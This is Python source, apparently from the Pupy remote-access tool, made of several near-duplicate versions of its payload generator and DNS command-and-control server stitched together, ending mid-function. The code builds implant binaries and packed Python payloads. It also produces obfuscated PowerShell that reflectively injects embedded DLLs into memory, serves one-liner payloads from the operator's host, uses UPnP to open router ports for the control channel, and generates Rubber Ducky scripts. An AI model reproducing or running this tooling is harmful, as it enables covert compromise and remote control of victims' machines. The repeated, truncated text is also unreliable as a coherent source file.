def __init__( self, igd=None, connect_host=None, recursor=None, connect_transport='ssl', connect_port=443, config=None, credentials=None ): credentials = credentials or Credentials() config = config or PupyConfig() self.config = config self.credentials = credentials self.igd = igd fdqn = self.config.get('pupyd', 'dnscnc').split(':') domain = fdqn[0] if len(fdqn) > 1: port = int(fdqn[1]) else: port = 53 listen = str(config.get('pupyd', 'address') or '0.0.0.0') prefer_external = config.getboolean('gen', 'external') self.host = [ str(get_listener_ip( external=prefer_external, config=config, igd=igd )) ] self.port = get_listener_port(config, external=prefer_external) self.transport = config.get('pupyd', 'transport') recursor = config.get('pupyd', 'recursor') if recursor and recursor.lower() in ('no', 'false', 'stop', 'n', 'disable'): recursor = None self.dns_domain = domain self.dns_port = port self.dns_listen = listen self.dns_recursor = recursor self.handler = PupyDnsCommandServerHandler( domain, credentials['DNSCNC_PRIV_KEY'], recursor=recursor, config=self.config ) self.server = DnsCommandServer( self.handler, address=listen, port=int(port) ) if self.igd and self.igd.available: self.igd.AddPortMapping(53, 'UDP', int(port)) self.igd.AddPortMapping(53, 'TCP', int(port)) self.server.start()
def __init__(self, igd=None, connect_host=None, recursor=None, connect_transport='ssl', connect_port=443, config=None, credentials=None): credentials = credentials or Credentials() config = config or PupyConfig() self.config = config self.credentials = credentials self.igd = igd fdqn = self.config.get('pupyd', 'dnscnc').split(':') domain = fdqn[0] if len(fdqn) > 1: port = int(fdqn[1]) else: port = 53 listen = str(config.get('pupyd', 'address') or '0.0.0.0') prefer_external = config.getboolean('gen', 'external') self.host = [ str( get_listener_ip(external=prefer_external, config=config, igd=igd)) ] self.port = get_listener_port(config, external=prefer_external) self.transport = config.get('pupyd', 'transport') recursor = config.get('pupyd', 'recursor') if recursor and recursor.lower() in ('no', 'false', 'stop', 'n', 'disable'): recursor = None self.dns_domain = domain self.dns_port = port self.dns_listen = listen self.dns_recursor = recursor self.handler = PupyDnsCommandServerHandler( domain, credentials['DNSCNC_PRIV_KEY'], recursor=recursor, config=self.config) self.server = DnsCommandServer(self.handler, address=listen, port=int(port)) if self.igd and self.igd.available: self.igd.AddPortMapping(53, 'UDP', int(port)) self.igd.AddPortMapping(53, 'TCP', int(port)) self.server.start()
def do(server, handler, config, args): if not args.launcher or (args.launcher and args.launcher in ('connect', 'auto_proxy')): args.launcher = args.launcher or 'connect' transport = None transport_idx = None host = None host_idx = None port = None preferred_ok = True need_transport = False need_hostport = False if args.launcher_args: total = len(args.launcher_args) for idx,arg in enumerate(args.launcher_args): if arg == '-t' and idx < total-1: transport = args.launcher_args[idx+1] transport_idx = idx+1 elif arg == '--host' and idx<total-1: host_idx = idx+1 hostport = args.launcher_args[host_idx] if ':' in hostport: host, port = hostport.rsplit(':', 1) port = int(port) else: try: port = int(hostport) except: host = hostport need_transport = not bool(transport) need_hostport = not all([host, port]) if not all([host, port, transport]): default_listener = None preferred_ok = False if transport: default_listener = server.listeners.get(transport) if not default_listener: handler.display(Error( 'Requested transport {} is not active. Will use default'.format( transport))) need_transport = True if not default_listener: try: default_listener = next(server.listeners.itervalues()) except StopIteration: pass if default_listener: transport = default_listener.name handler.display(Info( 'Connection point: Transport={} Address={}:{}'.format( default_listener.name, default_listener.external, default_listener.external_port))) if host or port: handler.display(Warn('Host and port will be ignored')) if args.prefer_external != default_listener.local: host = default_listener.external port = default_listener.external_port preferred_ok = True elif not args.prefer_external and not default_listener.local: host = get_listener_ip(cache=False) if host: handler.display(Warn('Using {} as local IP'.format(host))) port = default_listener.port preferred_ok = True else: preferred_ok = not (default_listener.local and args.prefer_external) if not transport: handler.display(Error('No active transports. Explicitly choose one')) return if not all([host, port, preferred_ok]): maybe_port = get_listener_port(config, external=args.prefer_external) maybe_host, local = get_listener_ip_with_local( external=args.prefer_external, config=config, igd=server.igd ) if (not local and args.prefer_external) or not (host and port): handler.display(Warn('Using configured/discovered external HOST:PORT')) host = maybe_host port = maybe_port else: handler.display(Warn('Unable to find external HOST:PORT')) if need_transport: if transport_idx is None: args.launcher_args += ['-t', transport] else: args.launcher_args[transport_idx] = transport if need_hostport: hostport = '{}:{}'.format(host, port) if host_idx is None: args.launcher_args += ['--host', hostport] else: args.launcher_args[host_idx] = hostport if server.httpd: wwwroot = config.get_folder('wwwroot') if not args.output_dir: args.output_dir = wwwroot try: output = pupygen.pupygen(args, config, server, handler.display) except pupygen.NoOutput: return except Exception, e: handler.display(Error(e, 'payload generation failed')) import traceback traceback.print_exc() return
def pupygen(args, config): ok = colorize("[+] ","green") if args.workdir: os.chdir(args.workdir) script_code="" if args.scriptlet: script_code=parse_scriptlets(args.scriptlet, debug=args.debug_scriptlets) l = launchers[args.launcher]() while True: try: l.parse_args(args.launcher_args) except LauncherError as e: if str(e).strip().endswith("--host is required") and not "--host" in args.launcher_args: myip = get_listener_ip(external=args.prefer_external, config=config) if not myip: raise ValueError("--host parameter missing and couldn't find your local IP. " "You must precise an ip or a fqdn manually") myport = get_listener_port(config, external=args.prefer_external) print(colorize("[!] required argument missing, automatically adding parameter " "--host {}:{} from local or external ip address".format(myip, myport),"grey")) args.launcher_args = [ '--host', '{}:{}'.format(myip, myport), '-t', config.get('pupyd', 'transport') ] elif str(e).strip().endswith('--domain is required') and not '--domain' in args.launcher_args: domain = config.get('pupyd', 'dnscnc').split(':')[0] if not domain or '.' not in domain: print(colorize('[!] DNSCNC disabled!', 'red')) return print(colorize("[!] required argument missing, automatically adding parameter " "--domain {} from configuration file".format(domain),"grey")) args.launcher_args = [ '--domain', domain ] else: l.arg_parser.print_usage() return else: break if args.randomize_hash: script_code+="\n#%s\n"%''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(40)) conf={} conf['launcher']=args.launcher conf['launcher_args']=args.launcher_args conf['offline_script']=script_code conf['debug']=args.debug outpath=args.output if args.format=="client": print ok+"Generate client: {}/{}".format(args.os, args.arch) data, filename, makex = generate_binary_from_template( conf, args.os, arch=args.arch, shared=args.shared, debug=args.debug ) if not outpath: template, ext = filename.rsplit('.', 1) outfile = tempfile.NamedTemporaryFile( dir=args.output_dir or '.', prefix=template+'.', suffix='.'+ext, delete=False ) else: try: os.unlink(outpath) except: pass outfile = open(outpath, 'w+b') outfile.write(data) outfile.close() if makex: os.chmod(outfile.name, 0511) outpath = outfile.name elif args.format=="py" or args.format=="pyinst": linux_modules = "" if not outpath: outfile = tempfile.NamedTemporaryFile( dir=args.output_dir or '.', prefix='pupy_', suffix='.py', delete=False ) else: try: os.unlink(outpath) except: pass outfile = open(outpath, 'w+b') if args.format=="pyinst" : linux_modules = getLinuxImportedModules() packed_payload=pack_py_payload(get_raw_conf(conf, verbose=True)) outfile.write("#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n"+linux_modules+"\n"+packed_payload) outfile.close() outpath = outfile.name elif args.format=="py_oneliner": packed_payload=pack_py_payload(get_raw_conf(conf, verbose=True)) i=conf["launcher_args"].index("--host")+1 link_ip=conf["launcher_args"][i].split(":",1)[0] serve_payload(packed_payload, link_ip=link_ip, port=args.oneliner_listen_port) elif args.format=="ps1": SPLIT_SIZE = 100000 x64InitCode, x86InitCode, x64ConcatCode, x86ConcatCode = "", "", "", "" if not outpath: outfile = tempfile.NamedTemporaryFile( dir=args.output_dir or '.', prefix='pupy_', suffix='.ps1', delete=False ) else: try: os.unlink(outpath) except: pass outfile = open(outpath, 'w+b') outpath = outfile.name code = """ $PEBytes = "" if ([IntPtr]::size -eq 4){{ {0} $PEBytesTotal = [System.Convert]::FromBase64String({1}) }} else{{ {2} $PEBytesTotal = [System.Convert]::FromBase64String({3}) }} Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR """#{1}=x86dll, {3}=x64dll binaryX64 = base64.b64encode(generate_binary_from_template(conf, 'windows', arch='x64', shared=True)[0]) binaryX86 = base64.b64encode(generate_binary_from_template(conf, 'windows', arch='x86', shared=True)[0]) binaryX64parts = [binaryX64[i:i+SPLIT_SIZE] for i in range(0, len(binaryX64), SPLIT_SIZE)] binaryX86parts = [binaryX86[i:i+SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE)] for i,aPart in enumerate(binaryX86parts): x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart) x86ConcatCode += "$PEBytes{0}+".format(i) print(ok+"X86 dll loaded and {0} variables used".format(i+1)) for i,aPart in enumerate(binaryX64parts): x64InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart) x64ConcatCode += "$PEBytes{0}+".format(i) print(ok+"X64 dll loaded and {0} variables used".format(i+1)) script = obfuscatePowershellScript(open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read()) outfile.write("{0}\n{1}".format(script, code.format(x86InitCode, x86ConcatCode[:-1], x64InitCode, x64ConcatCode[:-1]) )) outfile.close() elif args.format=="ps1_oneliner": from pupylib.payloads.ps1_oneliner import serve_ps1_payload link_ip=conf["launcher_args"][conf["launcher_args"].index("--host")+1].split(":",1)[0] if args.no_use_proxy == True: serve_ps1_payload(conf, link_ip=link_ip, port=args.oneliner_listen_port, useTargetProxy=False) else: serve_ps1_payload(conf, link_ip=link_ip, port=args.oneliner_listen_port, useTargetProxy=True) elif args.format=="rubber_ducky": rubber_ducky(conf).generateAllForOStarget() else: raise ValueError("Type %s is invalid."%(args.format)) print(ok+"OUTPUT_PATH = %s"%os.path.abspath(outpath)) print(ok+"SCRIPTLETS = %s"%args.scriptlet) print(ok+"DEBUG = %s"%args.debug) return os.path.abspath(outpath)
def pupygen(args, config): ok = colorize("[+] ", "green") if args.workdir: os.chdir(args.workdir) script_code = "" if args.scriptlet: script_code = parse_scriptlets(args.scriptlet, debug=args.debug_scriptlets) l = launchers[args.launcher]() while True: try: l.parse_args(args.launcher_args) except LauncherError as e: if str(e).strip().endswith( "--host is required" ) and not "--host" in args.launcher_args: myip = get_listener_ip(external=args.prefer_external, config=config) if not myip: raise ValueError( "--host parameter missing and couldn't find your local IP. " "You must precise an ip or a fqdn manually") myport = get_listener_port(config, external=args.prefer_external) print( colorize( "[!] required argument missing, automatically adding parameter " "--host {}:{} from local or external ip address". format(myip, myport), "grey")) args.launcher_args = [ '--host', '{}:{}'.format(myip, myport), '-t', config.get('pupyd', 'transport') ] elif str(e).strip().endswith( '--domain is required' ) and not '--domain' in args.launcher_args: domain = config.get('pupyd', 'dnscnc').split(':')[0] if not domain or '.' not in domain: print(colorize('[!] DNSCNC disabled!', 'red')) return print( colorize( "[!] required argument missing, automatically adding parameter " "--domain {} from configuration file".format(domain), "grey")) args.launcher_args = ['--domain', domain] else: l.arg_parser.print_usage() return else: break if args.randomize_hash: script_code += "\n#%s\n" % ''.join( random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(40)) conf = {} conf['launcher'] = args.launcher conf['launcher_args'] = args.launcher_args conf['offline_script'] = script_code conf['debug'] = args.debug outpath = args.output if args.format == "client": print ok + "Generate client: {}/{}".format(args.os, args.arch) data, filename, makex = generate_binary_from_template( conf, args.os, arch=args.arch, shared=args.shared, debug=args.debug) if not outpath: template, ext = filename.rsplit('.', 1) outfile = tempfile.NamedTemporaryFile(dir=args.output_dir or '.', prefix=template + '.', suffix='.' + ext, delete=False) else: outfile = open(outpath, 'w+b') outfile.write(data) outfile.close() if makex: os.chmod(outfile.name, 0511) outpath = outfile.name elif args.format == "py" or args.format == "pyinst": linux_modules = "" if not outpath: outfile = tempfile.NamedTemporaryFile(dir=args.output_dir or '.', prefix='pupy', suffix='.py', delete=False) else: outfile = open(outpath, 'w+b') if args.format == "pyinst": linux_modules = getLinuxImportedModules() packed_payload = pack_py_payload(get_raw_conf(conf)) outfile.write("#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n" + linux_modules + "\n" + packed_payload) outfile.close() outpath = outfile.name elif args.format == "py_oneliner": packed_payload = pack_py_payload(get_raw_conf(conf)) i = conf["launcher_args"].index("--host") + 1 link_ip = conf["launcher_args"][i].split(":", 1)[0] serve_payload(packed_payload, link_ip=link_ip, port=args.oneliner_listen_port) elif args.format == "ps1": SPLIT_SIZE = 100000 x64InitCode, x86InitCode, x64ConcatCode, x86ConcatCode = "", "", "", "" if not outpath: outfile = tempfile.NamedTemporaryFile(dir=args.output_dir or '.', prefix='pupy', suffix='.ps1', delete=False) else: outfile = open(outpath, 'w+b') outpath = outfile.name code = """ $PEBytes = "" if ([IntPtr]::size -eq 4){{ {0} $PEBytesTotal = [System.Convert]::FromBase64String({1}) }} else{{ {2} $PEBytesTotal = [System.Convert]::FromBase64String({3}) }} Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR """#{1}=x86dll, {3}=x64dll binaryX64 = base64.b64encode( generate_binary_from_template(conf, 'windows', arch='x64', shared=True)[0]) binaryX86 = base64.b64encode( generate_binary_from_template(conf, 'windows', arch='x86', shared=True)[0]) binaryX64parts = [ binaryX64[i:i + SPLIT_SIZE] for i in range(0, len(binaryX64), SPLIT_SIZE) ] binaryX86parts = [ binaryX86[i:i + SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE) ] for i, aPart in enumerate(binaryX86parts): x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i, aPart) x86ConcatCode += "$PEBytes{0}+".format(i) print(ok + "X86 dll loaded and {0} variables used".format(i + 1)) for i, aPart in enumerate(binaryX64parts): x64InitCode += "$PEBytes{0}=\"{1}\"\n".format(i, aPart) x64ConcatCode += "$PEBytes{0}+".format(i) print(ok + "X64 dll loaded and {0} variables used".format(i + 1)) script = obfuscatePowershellScript( open( os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read()) outfile.write("{0}\n{1}".format( script, code.format(x86InitCode, x86ConcatCode[:-1], x64InitCode, x64ConcatCode[:-1]))) outfile.close() elif args.format == "ps1_oneliner": from pupylib.payloads.ps1_oneliner import serve_ps1_payload link_ip = conf["launcher_args"][conf["launcher_args"].index("--host") + 1].split(":", 1)[0] if args.no_use_proxy == True: serve_ps1_payload(conf, link_ip=link_ip, port=args.oneliner_listen_port, useTargetProxy=False) else: serve_ps1_payload(conf, link_ip=link_ip, port=args.oneliner_listen_port, useTargetProxy=True) elif args.format == "rubber_ducky": rubber_ducky(conf).generateAllForOStarget() else: raise ValueError("Type %s is invalid." % (args.format)) print(ok + "OUTPUT_PATH = %s" % os.path.abspath(outpath)) print(ok + "SCRIPTLETS = %s" % args.scriptlet) print(ok + "DEBUG = %s" % args.debug) return os.path.abspath(outpath)
def pupygen(args, config): ok = colorize("[+] ","green") if args.workdir: os.chdir(args.workdir) script_code="" if args.scriptlet: script_code=parse_scriptlets( args.scriptlet, os=args.os, arch=args.arch, debug=args.debug_scriptlets ) launcher = launchers[args.launcher]() while True: try: launcher.parse_args(args.launcher_args) except LauncherError as e: if str(e).strip().endswith("--host is required") and not "--host" in args.launcher_args: myip = get_listener_ip(external=args.prefer_external, config=config) if not myip: raise ValueError("--host parameter missing and couldn't find your local IP. " "You must precise an ip or a fqdn manually") myport = get_listener_port(config, external=args.prefer_external) print(colorize("[!] required argument missing, automatically adding parameter " "--host {}:{} from local or external ip address".format(myip, myport),"grey")) if "-t" in args.launcher_args or "--transport" in args.launcher_args: args.launcher_args += ['--host', '{}:{}'.format(myip, myport)] else: args.launcher_args += [ '--host', '{}:{}'.format(myip, myport), '-t', config.get('pupyd', 'transport') ] elif str(e).strip().endswith('--domain is required') and not '--domain' in args.launcher_args: domain = config.get('pupyd', 'dnscnc').split(':')[0] if not domain or '.' not in domain: print(colorize('[!] DNSCNC disabled!', 'red')) return print(colorize("[!] required argument missing, automatically adding parameter " "--domain {} from configuration file".format(domain),"grey")) args.launcher_args = [ '--domain', domain ] else: launcher.arg_parser.print_usage() return else: break if args.randomize_hash: script_code+="\n#%s\n"%''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(40)) conf = { 'launcher': args.launcher, 'launcher_args': args.launcher_args, 'offline_script': script_code, 'debug': args.debug, 'cid': hex(random.SystemRandom().getrandbits(32)) } outpath=args.output if not os.path.isdir(args.output_dir): print ok+"Creating the local folder '{0}' for generating payloads".format(args.output_dir) os.makedirs(args.output_dir) if args.format=="client": print ok+"Generate client: {}/{}".format(args.os, args.arch) data, filename, makex = generate_binary_from_template( conf, args.os, arch=args.arch, shared=args.shared, debug=args.debug, compressed=not ( args.uncompressed or args.packer ) ) if not outpath: template, ext = filename.rsplit('.', 1) outfile = tempfile.NamedTemporaryFile( dir=args.output_dir or '.', prefix=template+'.', suffix='.'+ext, delete=False ) else: try: os.unlink(outpath) except: pass outfile = open(outpath, 'w+b') outfile.write(data) outfile.close() if makex: os.chmod(outfile.name, 0711) if args.packer: packingFinalCmd = args.packer.replace('%s', outfile.name) print ok+"Packing payload with this command: {0}".format(packingFinalCmd) subprocess.check_call( packingFinalCmd, shell=True ) outpath = outfile.name elif args.format=="py" or args.format=="pyinst": linux_modules = '' if not outpath: outfile = tempfile.NamedTemporaryFile( dir=args.output_dir or '.', prefix='pupy_', suffix='.py', delete=False ) else: try: os.unlink(outpath) except: pass outfile = open(outpath, 'w+b') if args.format=="pyinst" : linux_modules = getLinuxImportedModules() packed_payload = pack_py_payload(get_raw_conf(conf, verbose=True), args.debug) outfile.write('\n'.join([ '#!/usr/bin/env python', '# -*- coding: utf-8 -*-', linux_modules, packed_payload ])) outfile.close() outpath = outfile.name elif args.format=="py_oneliner": packed_payload = pack_py_payload(get_raw_conf(conf, verbose=True), args.debug) i=conf["launcher_args"].index("--host")+1 link_ip=conf["launcher_args"][i].split(":",1)[0] serve_payload(packed_payload, link_ip=link_ip, port=args.oneliner_listen_port) elif args.format=="ps1": outpath = generate_ps1(conf, outpath=outpath, output_dir=args.output_dir, both=True) elif args.format=="ps1_oneliner": if conf['launcher'] in ["connect", "auto_proxy"]: from pupylib.payloads.ps1_oneliner import serve_ps1_payload link_ip=conf["launcher_args"][conf["launcher_args"].index("--host")+1].split(":",1)[0] if args.oneliner_no_ssl == False: sslEnabled = True else: sslEnabled = False if args.no_use_proxy == False: useTargetProxy = True else: useTargetProxy = False serve_ps1_payload(conf, link_ip=link_ip, port=args.oneliner_listen_port, useTargetProxy=useTargetProxy, sslEnabled=sslEnabled, nothidden=args.oneliner_nothidden) elif conf['launcher'] == "bind": from pupylib.payloads.ps1_oneliner import send_ps1_payload outpath, target_ip, bind_port = "", None, None bind_port=conf["launcher_args"][conf["launcher_args"].index("--port")+1] if "--oneliner-host" in conf["launcher_args"]: target_ip=conf["launcher_args"][conf["launcher_args"].index("--oneliner-host")+1] send_ps1_payload(conf, bind_port=bind_port, target_ip=target_ip, nothidden=args.oneliner_nothidden) else: raise ValueError("You have to give me the --oneliner-host argument") else: raise ValueError("ps1_oneliner with {0} mode is not implemented yet".format(conf['launcher'])) elif args.format=="rubber_ducky": rubber_ducky(conf).generateAllForOStarget() else: raise ValueError("Type %s is invalid."%(args.format)) print(ok+"OUTPUT_PATH = %s"%os.path.abspath(outpath)) print(ok+"SCRIPTLETS = %s"%args.scriptlet) print(ok+"DEBUG = %s"%args.debug) return os.path.abspath(outpath)
except ValueError, e: display(Error(e.message)) raise NoOutput() launcher = launchers[args.launcher] while True: try: launcher.arg_parser.parse_args(args.launcher_args) except LauncherError as e: if str(e).strip().endswith("--host is required") and "--host" not in args.launcher_args: myip = get_listener_ip(external=args.prefer_external, config=config) if not myip: raise ValueError("--host parameter missing and couldn't find your local IP. " "You must precise an ip or a fqdn manually") myport = get_listener_port(config, external=args.prefer_external) display(Warn( 'Required argument missing, automatically adding parameter ' '--host {}:{} from local or external ip address'.format(myip, myport))) if '-t' in args.launcher_args or '--transport' in args.launcher_args: args.launcher_args += ['--host', '{}:{}'.format(myip, myport)] else: args.launcher_args += [ '--host', '{}:{}'.format(myip, myport), '-t', config.get('pupyd', 'transport') ] elif str(e).strip().endswith('--domain is required') and '--domain' not in args.launcher_args: domain = config.get('pupyd', 'dnscnc').split(':')[0] if not domain or '.' not in domain: display(Error('DNSCNC disabled!'))